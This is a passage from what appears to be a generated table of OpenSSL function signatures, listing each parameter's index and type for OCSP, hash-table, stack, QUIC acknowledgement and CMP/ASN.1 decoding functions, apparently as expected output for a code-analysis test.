2 | int | +| (OCSP_SINGLERESP *,const ASN1_OBJECT *,int) | | OCSP_SINGLERESP_get_ext_by_OBJ | 0 | OCSP_SINGLERESP * | +| (OCSP_SINGLERESP *,const ASN1_OBJECT *,int) | | OCSP_SINGLERESP_get_ext_by_OBJ | 1 | const ASN1_OBJECT * | +| (OCSP_SINGLERESP *,const ASN1_OBJECT *,int) | | OCSP_SINGLERESP_get_ext_by_OBJ | 2 | int | +| (OCSP_SINGLERESP *,int *,ASN1_GENERALIZEDTIME **,ASN1_GENERALIZEDTIME **,ASN1_GENERALIZEDTIME **) | | OCSP_single_get0_status | 0 | OCSP_SINGLERESP * | +| (OCSP_SINGLERESP *,int *,ASN1_GENERALIZEDTIME **,ASN1_GENERALIZEDTIME **,ASN1_GENERALIZEDTIME **) | | OCSP_single_get0_status | 1 | int * | +| (OCSP_SINGLERESP *,int *,ASN1_GENERALIZEDTIME **,ASN1_GENERALIZEDTIME **,ASN1_GENERALIZEDTIME **) | | OCSP_single_get0_status | 2 | ASN1_GENERALIZEDTIME ** | +| (OCSP_SINGLERESP *,int *,ASN1_GENERALIZEDTIME **,ASN1_GENERALIZEDTIME **,ASN1_GENERALIZEDTIME **) | | OCSP_single_get0_status | 3 | ASN1_GENERALIZEDTIME ** | +| (OCSP_SINGLERESP *,int *,ASN1_GENERALIZEDTIME **,ASN1_GENERALIZEDTIME **,ASN1_GENERALIZEDTIME **) | | OCSP_single_get0_status | 4 | ASN1_GENERALIZEDTIME ** | +| (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_delete_ext | 0 | OCSP_SINGLERESP * | +| (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_delete_ext | 1 | int | +| (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_get_ext | 0 | OCSP_SINGLERESP * | +| (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_get_ext | 1 | int | +| (OCSP_SINGLERESP *,int,int *,int *) | | OCSP_SINGLERESP_get1_ext_d2i | 0 | OCSP_SINGLERESP * | +| (OCSP_SINGLERESP *,int,int *,int *) | | OCSP_SINGLERESP_get1_ext_d2i | 1 | int | +| (OCSP_SINGLERESP *,int,int *,int *) | | OCSP_SINGLERESP_get1_ext_d2i | 2 | int * | +| (OCSP_SINGLERESP *,int,int *,int *) | | OCSP_SINGLERESP_get1_ext_d2i | 3 | int * | +| (OCSP_SINGLERESP *,int,int) | | OCSP_SINGLERESP_get_ext_by_NID | 0 | OCSP_SINGLERESP * | +| (OCSP_SINGLERESP *,int,int) | | OCSP_SINGLERESP_get_ext_by_NID | 1 | int | +| (OCSP_SINGLERESP *,int,int) | | OCSP_SINGLERESP_get_ext_by_NID | 2 | int | +| (OCSP_SINGLERESP *,int,int) | | OCSP_SINGLERESP_get_ext_by_critical | 0 | OCSP_SINGLERESP * | +| (OCSP_SINGLERESP *,int,int) | | OCSP_SINGLERESP_get_ext_by_critical | 1 | int | +| (OCSP_SINGLERESP *,int,int) | | OCSP_SINGLERESP_get_ext_by_critical | 2 | int | +| (OCSP_SINGLERESP *,int,void *,int,unsigned long) | | OCSP_SINGLERESP_add1_ext_i2d | 0 | OCSP_SINGLERESP * | +| (OCSP_SINGLERESP *,int,void *,int,unsigned long) | | OCSP_SINGLERESP_add1_ext_i2d | 1 | int | +| (OCSP_SINGLERESP *,int,void *,int,unsigned long) | | OCSP_SINGLERESP_add1_ext_i2d | 2 | void * | +| (OCSP_SINGLERESP *,int,void *,int,unsigned long) | | OCSP_SINGLERESP_add1_ext_i2d | 3 | int | +| (OCSP_SINGLERESP *,int,void *,int,unsigned long) | | OCSP_SINGLERESP_add1_ext_i2d | 4 | unsigned long | +| (OPENSSL_DIR_CTX **) | | OPENSSL_DIR_end | 0 | OPENSSL_DIR_CTX ** | +| (OPENSSL_DIR_CTX **,const char *) | | OPENSSL_DIR_read | 0 | OPENSSL_DIR_CTX ** | +| (OPENSSL_DIR_CTX **,const char *) | | OPENSSL_DIR_read | 1 | const char * | +| (OPENSSL_INIT_SETTINGS *,const char *) | | OPENSSL_INIT_set_config_appname | 0 | OPENSSL_INIT_SETTINGS * | +| (OPENSSL_INIT_SETTINGS *,const char *) | | OPENSSL_INIT_set_config_appname | 1 | const char * | +| (OPENSSL_INIT_SETTINGS *,const char *) | | OPENSSL_INIT_set_config_filename | 0 | OPENSSL_INIT_SETTINGS * | +| (OPENSSL_INIT_SETTINGS *,const char *) | | OPENSSL_INIT_set_config_filename | 1 | const char * | +| (OPENSSL_INIT_SETTINGS *,unsigned long) | | OPENSSL_INIT_set_config_file_flags | 0 | OPENSSL_INIT_SETTINGS * | +| (OPENSSL_INIT_SETTINGS *,unsigned long) | | OPENSSL_INIT_set_config_file_flags | 1 | unsigned long | +| (OPENSSL_LHASH *) | | OPENSSL_LH_error | 0 | OPENSSL_LHASH * | +| (OPENSSL_LHASH *,OPENSSL_LH_DOALL_FUNCARG_THUNK,OPENSSL_LH_DOALL_FUNCARG,void *) | | OPENSSL_LH_doall_arg_thunk | 0 | OPENSSL_LHASH * | +| (OPENSSL_LHASH *,OPENSSL_LH_DOALL_FUNCARG_THUNK,OPENSSL_LH_DOALL_FUNCARG,void *) | | OPENSSL_LH_doall_arg_thunk | 1 | OPENSSL_LH_DOALL_FUNCARG_THUNK | +| (OPENSSL_LHASH *,OPENSSL_LH_DOALL_FUNCARG_THUNK,OPENSSL_LH_DOALL_FUNCARG,void *) | | OPENSSL_LH_doall_arg_thunk | 2 | OPENSSL_LH_DOALL_FUNCARG | +| (OPENSSL_LHASH *,OPENSSL_LH_DOALL_FUNCARG_THUNK,OPENSSL_LH_DOALL_FUNCARG,void *) | | OPENSSL_LH_doall_arg_thunk | 3 | void * | +| (OPENSSL_LHASH *,OPENSSL_LH_HASHFUNCTHUNK,OPENSSL_LH_COMPFUNCTHUNK,OPENSSL_LH_DOALL_FUNC_THUNK,OPENSSL_LH_DOALL_FUNCARG_THUNK) | | OPENSSL_LH_set_thunks | 0 | OPENSSL_LHASH * | +| (OPENSSL_LHASH *,OPENSSL_LH_HASHFUNCTHUNK,OPENSSL_LH_COMPFUNCTHUNK,OPENSSL_LH_DOALL_FUNC_THUNK,OPENSSL_LH_DOALL_FUNCARG_THUNK) | | OPENSSL_LH_set_thunks | 1 | OPENSSL_LH_HASHFUNCTHUNK | +| (OPENSSL_LHASH *,OPENSSL_LH_HASHFUNCTHUNK,OPENSSL_LH_COMPFUNCTHUNK,OPENSSL_LH_DOALL_FUNC_THUNK,OPENSSL_LH_DOALL_FUNCARG_THUNK) | | OPENSSL_LH_set_thunks | 2 | OPENSSL_LH_COMPFUNCTHUNK | +| (OPENSSL_LHASH *,OPENSSL_LH_HASHFUNCTHUNK,OPENSSL_LH_COMPFUNCTHUNK,OPENSSL_LH_DOALL_FUNC_THUNK,OPENSSL_LH_DOALL_FUNCARG_THUNK) | | OPENSSL_LH_set_thunks | 3 | OPENSSL_LH_DOALL_FUNC_THUNK | +| (OPENSSL_LHASH *,OPENSSL_LH_HASHFUNCTHUNK,OPENSSL_LH_COMPFUNCTHUNK,OPENSSL_LH_DOALL_FUNC_THUNK,OPENSSL_LH_DOALL_FUNCARG_THUNK) | | OPENSSL_LH_set_thunks | 4 | OPENSSL_LH_DOALL_FUNCARG_THUNK | +| (OPENSSL_LHASH *,const void *) | | OPENSSL_LH_delete | 0 | OPENSSL_LHASH * | +| (OPENSSL_LHASH *,const void *) | | OPENSSL_LH_delete | 1 | const void * | +| (OPENSSL_LHASH *,const void *) | | OPENSSL_LH_retrieve | 0 | OPENSSL_LHASH * | +| (OPENSSL_LHASH *,const void *) | | OPENSSL_LH_retrieve | 1 | const void * | +| (OPENSSL_LHASH *,unsigned long) | | OPENSSL_LH_set_down_load | 0 | OPENSSL_LHASH * | +| (OPENSSL_LHASH *,unsigned long) | | OPENSSL_LH_set_down_load | 1 | unsigned long | +| (OPENSSL_LHASH *,void *) | | OPENSSL_LH_insert | 0 | OPENSSL_LHASH * | +| (OPENSSL_LHASH *,void *) | | OPENSSL_LH_insert | 1 | void * | +| (OPENSSL_LH_HASHFUNC,OPENSSL_LH_COMPFUNC) | | OPENSSL_LH_new | 0 | OPENSSL_LH_HASHFUNC | +| (OPENSSL_LH_HASHFUNC,OPENSSL_LH_COMPFUNC) | | OPENSSL_LH_new | 1 | OPENSSL_LH_COMPFUNC | +| (OPENSSL_SA *,ossl_uintmax_t,void *) | | ossl_sa_set | 0 | OPENSSL_SA * | +| (OPENSSL_SA *,ossl_uintmax_t,void *) | | ossl_sa_set | 1 | ossl_uintmax_t | +| (OPENSSL_SA *,ossl_uintmax_t,void *) | | ossl_sa_set | 2 | void * | +| (OPENSSL_STACK *) | | OPENSSL_sk_pop | 0 | OPENSSL_STACK * | +| (OPENSSL_STACK *) | | OPENSSL_sk_shift | 0 | OPENSSL_STACK * | +| (OPENSSL_STACK *,OPENSSL_sk_compfunc) | | OPENSSL_sk_set_cmp_func | 0 | OPENSSL_STACK * | +| (OPENSSL_STACK *,OPENSSL_sk_compfunc) | | OPENSSL_sk_set_cmp_func | 1 | OPENSSL_sk_compfunc | +| (OPENSSL_STACK *,OPENSSL_sk_freefunc_thunk) | | OPENSSL_sk_set_thunks | 0 | OPENSSL_STACK * | +| (OPENSSL_STACK *,OPENSSL_sk_freefunc_thunk) | | OPENSSL_sk_set_thunks | 1 | OPENSSL_sk_freefunc_thunk | +| (OPENSSL_STACK *,const void *) | | OPENSSL_sk_delete_ptr | 0 | OPENSSL_STACK * | +| (OPENSSL_STACK *,const void *) | | OPENSSL_sk_delete_ptr | 1 | const void * | +| (OPENSSL_STACK *,const void *) | | OPENSSL_sk_find | 0 | OPENSSL_STACK * | +| (OPENSSL_STACK *,const void *) | | OPENSSL_sk_find | 1 | const void * | +| (OPENSSL_STACK *,const void *) | | OPENSSL_sk_find_ex | 0 | OPENSSL_STACK * | +| (OPENSSL_STACK *,const void *) | | OPENSSL_sk_find_ex | 1 | const void * | +| (OPENSSL_STACK *,const void *) | | OPENSSL_sk_push | 0 | OPENSSL_STACK * | +| (OPENSSL_STACK *,const void *) | | OPENSSL_sk_push | 1 | const void * | +| (OPENSSL_STACK *,const void *) | | OPENSSL_sk_unshift | 0 | OPENSSL_STACK * | +| (OPENSSL_STACK *,const void *) | | OPENSSL_sk_unshift | 1 | const void * | +| (OPENSSL_STACK *,const void *,int *) | | OPENSSL_sk_find_all | 0 | OPENSSL_STACK * | +| (OPENSSL_STACK *,const void *,int *) | | OPENSSL_sk_find_all | 1 | const void * | +| (OPENSSL_STACK *,const void *,int *) | | OPENSSL_sk_find_all | 2 | int * | +| (OPENSSL_STACK *,const void *,int) | | OPENSSL_sk_insert | 0 | OPENSSL_STACK * | +| (OPENSSL_STACK *,const void *,int) | | OPENSSL_sk_insert | 1 | const void * | +| (OPENSSL_STACK *,const void *,int) | | OPENSSL_sk_insert | 2 | int | +| (OPENSSL_STACK *,int) | | OPENSSL_sk_delete | 0 | OPENSSL_STACK * | +| (OPENSSL_STACK *,int) | | OPENSSL_sk_delete | 1 | int | +| (OPENSSL_STACK *,int) | | OPENSSL_sk_reserve | 0 | OPENSSL_STACK * | +| (OPENSSL_STACK *,int) | | OPENSSL_sk_reserve | 1 | int | +| (OPENSSL_STACK *,int,const void *) | | OPENSSL_sk_set | 0 | OPENSSL_STACK * | +| (OPENSSL_STACK *,int,const void *) | | OPENSSL_sk_set | 1 | int | +| (OPENSSL_STACK *,int,const void *) | | OPENSSL_sk_set | 2 | const void * | +| (OPENSSL_sk_compfunc) | | OPENSSL_sk_new | 0 | OPENSSL_sk_compfunc | +| (OPENSSL_sk_compfunc,int) | | OPENSSL_sk_new_reserve | 0 | OPENSSL_sk_compfunc | +| (OPENSSL_sk_compfunc,int) | | OPENSSL_sk_new_reserve | 1 | int | +| (OSSL_AA_DIST_POINT *) | | OSSL_AA_DIST_POINT_free | 0 | OSSL_AA_DIST_POINT * | +| (OSSL_AA_DIST_POINT **,const unsigned char **,long) | | d2i_OSSL_AA_DIST_POINT | 0 | OSSL_AA_DIST_POINT ** | +| (OSSL_AA_DIST_POINT **,const unsigned char **,long) | | d2i_OSSL_AA_DIST_POINT | 1 | const unsigned char ** | +| (OSSL_AA_DIST_POINT **,const unsigned char **,long) | | d2i_OSSL_AA_DIST_POINT | 2 | long | +| (OSSL_ACKM *) | | ossl_ackm_get0_probe_request | 0 | OSSL_ACKM * | +| (OSSL_ACKM *) | | ossl_ackm_get_loss_detection_deadline | 0 | OSSL_ACKM * | +| (OSSL_ACKM *) | | ossl_ackm_get_pto_duration | 0 | OSSL_ACKM * | +| (OSSL_ACKM *,..(*)(..),void *) | | ossl_ackm_set_ack_deadline_callback | 0 | OSSL_ACKM * | +| (OSSL_ACKM *,..(*)(..),void *) | | ossl_ackm_set_ack_deadline_callback | 1 | ..(*)(..) | +| (OSSL_ACKM *,..(*)(..),void *) | | ossl_ackm_set_ack_deadline_callback | 2 | void * | +| (OSSL_ACKM *,..(*)(..),void *) | | ossl_ackm_set_loss_detection_deadline_callback | 0 | OSSL_ACKM * | +| (OSSL_ACKM *,..(*)(..),void *) | | ossl_ackm_set_loss_detection_deadline_callback | 1 | ..(*)(..) | +| (OSSL_ACKM *,..(*)(..),void *) | | ossl_ackm_set_loss_detection_deadline_callback | 2 | void * | +| (OSSL_ACKM *,OSSL_ACKM_TX_PKT *) | | ossl_ackm_on_tx_packet | 0 | OSSL_ACKM * | +| (OSSL_ACKM *,OSSL_ACKM_TX_PKT *) | | ossl_ackm_on_tx_packet | 1 | OSSL_ACKM_TX_PKT * | +| (OSSL_ACKM *,OSSL_TIME) | | ossl_ackm_set_rx_max_ack_delay | 0 | OSSL_ACKM * | +| (OSSL_ACKM *,OSSL_TIME) | | ossl_ackm_set_rx_max_ack_delay | 1 | OSSL_TIME | +| (OSSL_ACKM *,OSSL_TIME) | | ossl_ackm_set_tx_max_ack_delay | 0 | OSSL_ACKM * | +| (OSSL_ACKM *,OSSL_TIME) | | ossl_ackm_set_tx_max_ack_delay | 1 | OSSL_TIME | +| (OSSL_ACKM *,const OSSL_ACKM_RX_PKT *) | | ossl_ackm_on_rx_packet | 0 | OSSL_ACKM * | +| (OSSL_ACKM *,const OSSL_ACKM_RX_PKT *) | | ossl_ackm_on_rx_packet | 1 | const OSSL_ACKM_RX_PKT * | +| (OSSL_ACKM *,const OSSL_QUIC_FRAME_ACK *,int,OSSL_TIME) | | ossl_ackm_on_rx_ack_frame | 0 | OSSL_ACKM * | +| (OSSL_ACKM *,const OSSL_QUIC_FRAME_ACK *,int,OSSL_TIME) | | ossl_ackm_on_rx_ack_frame | 1 | const OSSL_QUIC_FRAME_ACK * | +| (OSSL_ACKM *,const OSSL_QUIC_FRAME_ACK *,int,OSSL_TIME) | | ossl_ackm_on_rx_ack_frame | 2 | int | +| (OSSL_ACKM *,const OSSL_QUIC_FRAME_ACK *,int,OSSL_TIME) | | ossl_ackm_on_rx_ack_frame | 3 | OSSL_TIME | +| (OSSL_ACKM *,int) | | ossl_ackm_get_ack_deadline | 0 | OSSL_ACKM * | +| (OSSL_ACKM *,int) | | ossl_ackm_get_ack_deadline | 1 | int | +| (OSSL_ACKM *,int) | | ossl_ackm_get_ack_frame | 0 | OSSL_ACKM * | +| (OSSL_ACKM *,int) | | ossl_ackm_get_ack_frame | 1 | int | +| (OSSL_ACKM *,int) | | ossl_ackm_get_largest_acked | 0 | OSSL_ACKM * | +| (OSSL_ACKM *,int) | | ossl_ackm_get_largest_acked | 1 | int | +| (OSSL_ACKM *,int) | | ossl_ackm_on_pkt_space_discarded | 0 | OSSL_ACKM * | +| (OSSL_ACKM *,int) | | ossl_ackm_on_pkt_space_discarded | 1 | int | +| (OSSL_ALLOWED_ATTRIBUTES_CHOICE *) | | OSSL_ALLOWED_ATTRIBUTES_CHOICE_free | 0 | OSSL_ALLOWED_ATTRIBUTES_CHOICE * | +| (OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long) | | d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE | 0 | OSSL_ALLOWED_ATTRIBUTES_CHOICE ** | +| (OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long) | | d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE | 1 | const unsigned char ** | +| (OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long) | | d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE | 2 | long | +| (OSSL_ALLOWED_ATTRIBUTES_ITEM *) | | OSSL_ALLOWED_ATTRIBUTES_ITEM_free | 0 | OSSL_ALLOWED_ATTRIBUTES_ITEM * | +| (OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long) | | d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM | 0 | OSSL_ALLOWED_ATTRIBUTES_ITEM ** | +| (OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long) | | d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM | 1 | const unsigned char ** | +| (OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long) | | d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM | 2 | long | +| (OSSL_ALLOWED_ATTRIBUTES_SYNTAX *) | | OSSL_ALLOWED_ATTRIBUTES_SYNTAX_free | 0 | OSSL_ALLOWED_ATTRIBUTES_SYNTAX * | +| (OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long) | | d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX | 0 | OSSL_ALLOWED_ATTRIBUTES_SYNTAX ** | +| (OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long) | | d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX | 1 | const unsigned char ** | +| (OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long) | | d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX | 2 | long | +| (OSSL_ATAV *) | | OSSL_ATAV_free | 0 | OSSL_ATAV * | +| (OSSL_ATAV **,const unsigned char **,long) | | d2i_OSSL_ATAV | 0 | OSSL_ATAV ** | +| (OSSL_ATAV **,const unsigned char **,long) | | d2i_OSSL_ATAV | 1 | const unsigned char ** | +| (OSSL_ATAV **,const unsigned char **,long) | | d2i_OSSL_ATAV | 2 | long | +| (OSSL_ATTRIBUTES_SYNTAX *) | | OSSL_ATTRIBUTES_SYNTAX_free | 0 | OSSL_ATTRIBUTES_SYNTAX * | +| (OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long) | | d2i_OSSL_ATTRIBUTES_SYNTAX | 0 | OSSL_ATTRIBUTES_SYNTAX ** | +| (OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long) | | d2i_OSSL_ATTRIBUTES_SYNTAX | 1 | const unsigned char ** | +| (OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long) | | d2i_OSSL_ATTRIBUTES_SYNTAX | 2 | long | +| (OSSL_ATTRIBUTE_DESCRIPTOR *) | | OSSL_ATTRIBUTE_DESCRIPTOR_free | 0 | OSSL_ATTRIBUTE_DESCRIPTOR * | +| (OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long) | | d2i_OSSL_ATTRIBUTE_DESCRIPTOR | 0 | OSSL_ATTRIBUTE_DESCRIPTOR ** | +| (OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long) | | d2i_OSSL_ATTRIBUTE_DESCRIPTOR | 1 | const unsigned char ** | +| (OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long) | | d2i_OSSL_ATTRIBUTE_DESCRIPTOR | 2 | long | +| (OSSL_ATTRIBUTE_MAPPING *) | | OSSL_ATTRIBUTE_MAPPING_free | 0 | OSSL_ATTRIBUTE_MAPPING * | +| (OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long) | | d2i_OSSL_ATTRIBUTE_MAPPING | 0 | OSSL_ATTRIBUTE_MAPPING ** | +| (OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long) | | d2i_OSSL_ATTRIBUTE_MAPPING | 1 | const unsigned char ** | +| (OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long) | | d2i_OSSL_ATTRIBUTE_MAPPING | 2 | long | +| (OSSL_ATTRIBUTE_MAPPINGS *) | | OSSL_ATTRIBUTE_MAPPINGS_free | 0 | OSSL_ATTRIBUTE_MAPPINGS * | +| (OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long) | | d2i_OSSL_ATTRIBUTE_MAPPINGS | 0 | OSSL_ATTRIBUTE_MAPPINGS ** | +| (OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long) | | d2i_OSSL_ATTRIBUTE_MAPPINGS | 1 | const unsigned char ** | +| (OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long) | | d2i_OSSL_ATTRIBUTE_MAPPINGS | 2 | long | +| (OSSL_ATTRIBUTE_TYPE_MAPPING *) | | OSSL_ATTRIBUTE_TYPE_MAPPING_free | 0 | OSSL_ATTRIBUTE_TYPE_MAPPING * | +| (OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long) | | d2i_OSSL_ATTRIBUTE_TYPE_MAPPING | 0 | OSSL_ATTRIBUTE_TYPE_MAPPING ** | +| (OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long) | | d2i_OSSL_ATTRIBUTE_TYPE_MAPPING | 1 | const unsigned char ** | +| (OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long) | | d2i_OSSL_ATTRIBUTE_TYPE_MAPPING | 2 | long | +| (OSSL_ATTRIBUTE_VALUE_MAPPING *) | | OSSL_ATTRIBUTE_VALUE_MAPPING_free | 0 | OSSL_ATTRIBUTE_VALUE_MAPPING * | +| (OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long) | | d2i_OSSL_ATTRIBUTE_VALUE_MAPPING | 0 | OSSL_ATTRIBUTE_VALUE_MAPPING ** | +| (OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long) | | d2i_OSSL_ATTRIBUTE_VALUE_MAPPING | 1 | const unsigned char ** | +| (OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long) | | d2i_OSSL_ATTRIBUTE_VALUE_MAPPING | 2 | long | +| (OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX *) | | OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX_free | 0 | OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX * | +| (OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long) | | d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX | 0 | OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX ** | +| (OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long) | | d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX | 1 | const unsigned char ** | +| (OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long) | | d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX | 2 | long | +| (OSSL_BASIC_ATTR_CONSTRAINTS *) | | OSSL_BASIC_ATTR_CONSTRAINTS_free | 0 | OSSL_BASIC_ATTR_CONSTRAINTS * | +| (OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long) | | d2i_OSSL_BASIC_ATTR_CONSTRAINTS | 0 | OSSL_BASIC_ATTR_CONSTRAINTS ** | +| (OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long) | | d2i_OSSL_BASIC_ATTR_CONSTRAINTS | 1 | const unsigned char ** | +| (OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long) | | d2i_OSSL_BASIC_ATTR_CONSTRAINTS | 2 | long | +| (OSSL_CALLBACK *,void *) | | OSSL_SELF_TEST_new | 0 | OSSL_CALLBACK * | +| (OSSL_CALLBACK *,void *) | | OSSL_SELF_TEST_new | 1 | void * | +| (OSSL_CMP_ATAV *,ASN1_OBJECT *,ASN1_TYPE *) | | OSSL_CMP_ATAV_set0 | 0 | OSSL_CMP_ATAV * | +| (OSSL_CMP_ATAV *,ASN1_OBJECT *,ASN1_TYPE *) | | OSSL_CMP_ATAV_set0 | 1 | ASN1_OBJECT * | +| (OSSL_CMP_ATAV *,ASN1_OBJECT *,ASN1_TYPE *) | | OSSL_CMP_ATAV_set0 | 2 | ASN1_TYPE * | +| (OSSL_CMP_ATAVS *) | | OSSL_CMP_ATAVS_free | 0 | OSSL_CMP_ATAVS * | +| (OSSL_CMP_ATAVS **,const OSSL_CMP_ATAV *) | | OSSL_CMP_ATAV_push1 | 0 | OSSL_CMP_ATAVS ** | +| (OSSL_CMP_ATAVS **,const OSSL_CMP_ATAV *) | | OSSL_CMP_ATAV_push1 | 1 | const OSSL_CMP_ATAV * | +| (OSSL_CMP_ATAVS **,const unsigned char **,long) | | d2i_OSSL_CMP_ATAVS | 0 | OSSL_CMP_ATAVS ** | +| (OSSL_CMP_ATAVS **,const unsigned char **,long) | | d2i_OSSL_CMP_ATAVS | 1 | const unsigned char ** | +| (OSSL_CMP_ATAVS **,const unsigned char **,long) | | d2i_OSSL_CMP_ATAVS | 2 | long | +| (OSSL_CMP_CAKEYUPDANNCONTENT *) | | OSSL_CMP_CAKEYUPDANNCONTENT_free | 0 | OSSL_CMP_CAKEYUPDANNCONTENT * | +| (OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long) | | d2i_OSSL_CMP_CAKEYUPDANNCONTENT | 0 | OSSL_CMP_CAKEYUPDANNCONTENT ** | +| (OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long) | | d2i_OSSL_CMP_CAKEYUPDANNCONTENT | 1 | const unsigned char ** | +| (OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long) | | d2i_OSSL_CMP_CAKEYUPDANNCONTENT | 2 | long | +| (OSSL_CMP_CERTIFIEDKEYPAIR *) | | OSSL_CMP_CERTIFIEDKEYPAIR_free | 0 | OSSL_CMP_CERTIFIEDKEYPAIR * | +| (OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long) | | d2i_OSSL_CMP_CERTIFIEDKEYPAIR | 0 | OSSL_CMP_CERTIFIEDKEYPAIR ** | +| (OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long) | | d2i_OSSL_CMP_CERTIFIEDKEYPAIR | 1 | const unsigned char ** | +| (OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long) | | d2i_OSSL_CMP_CERTIFIEDKEYPAIR | 2 | long | +| (OSSL_CMP_CERTORENCCERT *) | | OSSL_CMP_CERTORENCCERT_free | 0 | OSSL_CMP_CERTORENCCERT * | +| (OSSL_CMP_CERTORENCCERT **,const unsigned char **,long) | | d2i_OSSL_CMP_CERTORENCCERT | 0 | OSSL_CMP_CERTORENCCERT ** | +| (OSSL_CMP_CERTORENCCERT **,const unsigned char **,long) | | d2i_OSSL_CMP_CERTORENCCERT | 1 | const unsigned char ** | +| (OSSL_CMP_CERTORENCCERT **,const unsigned char **,long) | | d2i_OSSL_CMP_CERTORENCCERT | 2 | long | +| (OSSL_CMP_CERTREPMESSAGE *) | | OSSL_CMP_CERTREPMESSAGE_free | 0 | OSSL_CMP_CERTREPMESSAGE * | +| (OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long) | | d2i_OSSL_CMP_CERTREPMESSAGE | 0 | OSSL_CMP_CERTREPMESSAGE ** | +| (OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long) | | d2i_OSSL_CMP_CERTREPMESSAGE | 1 | const unsigned char ** | +| (OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long) | | d2i_OSSL_CMP_CERTREPMESSAGE | 2 | long | +| (OSSL_CMP_CERTREQTEMPLATE *) | | OSSL_CMP_CERTREQTEMPLATE_free | 0 | OSSL_CMP_CERTREQTEMPLATE * | +| (OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long) | | d2i_OSSL_CMP_CERTREQTEMPLATE | 0 | OSSL_CMP_CERTREQTEMPLATE ** | +| (OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long) | | d2i_OSSL_CMP_CERTREQTEMPLATE | 1 | const unsigned char ** | +| (OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long) | | d2i_OSSL_CMP_CERTREQTEMPLATE | 2 | long | +| (OSSL_CMP_CERTRESPONSE *) | | OSSL_CMP_CERTRESPONSE_free | 0 | OSSL_CMP_CERTRESPONSE * | +| (OSSL_CMP_CERTRESPONSE **,const unsigned char **,long) | | d2i_OSSL_CMP_CERTRESPONSE | 0 | OSSL_CMP_CERTRESPONSE ** | +| (OSSL_CMP_CERTRESPONSE **,const unsigned char **,long) | | d2i_OSSL_CMP_CERTRESPONSE | 1 | const unsigned char ** | +| (OSSL_CMP_CERTRESPONSE **,const unsigned char **,long) | | d2i_OSSL_CMP_CERTRESPONSE | 2 | long | +| (OSSL_CMP_CERTSTATUS *) | | OSSL_CMP_CERTSTATUS_free | 0 | OSSL_CMP_CERTSTATUS * | +| (OSSL_CMP_CERTSTATUS **,const unsigned char **,long) | | d2i_OSSL_CMP_CERTSTATUS | 0 | OSSL_CMP_CERTSTATUS ** | +| (OSSL_CMP_CERTSTATUS **,const unsigned char **,long) | | d2i_OSSL_CMP_CERTSTATUS | 1 | const unsigned char ** | +| (OSSL_CMP_CERTSTATUS **,const unsigned char **,long) | | d2i_OSSL_CMP_CERTSTATUS | 2 | long | +| (OSSL_CMP_CERTSTATUS *,ASN1_OCTET_STRING *) | | 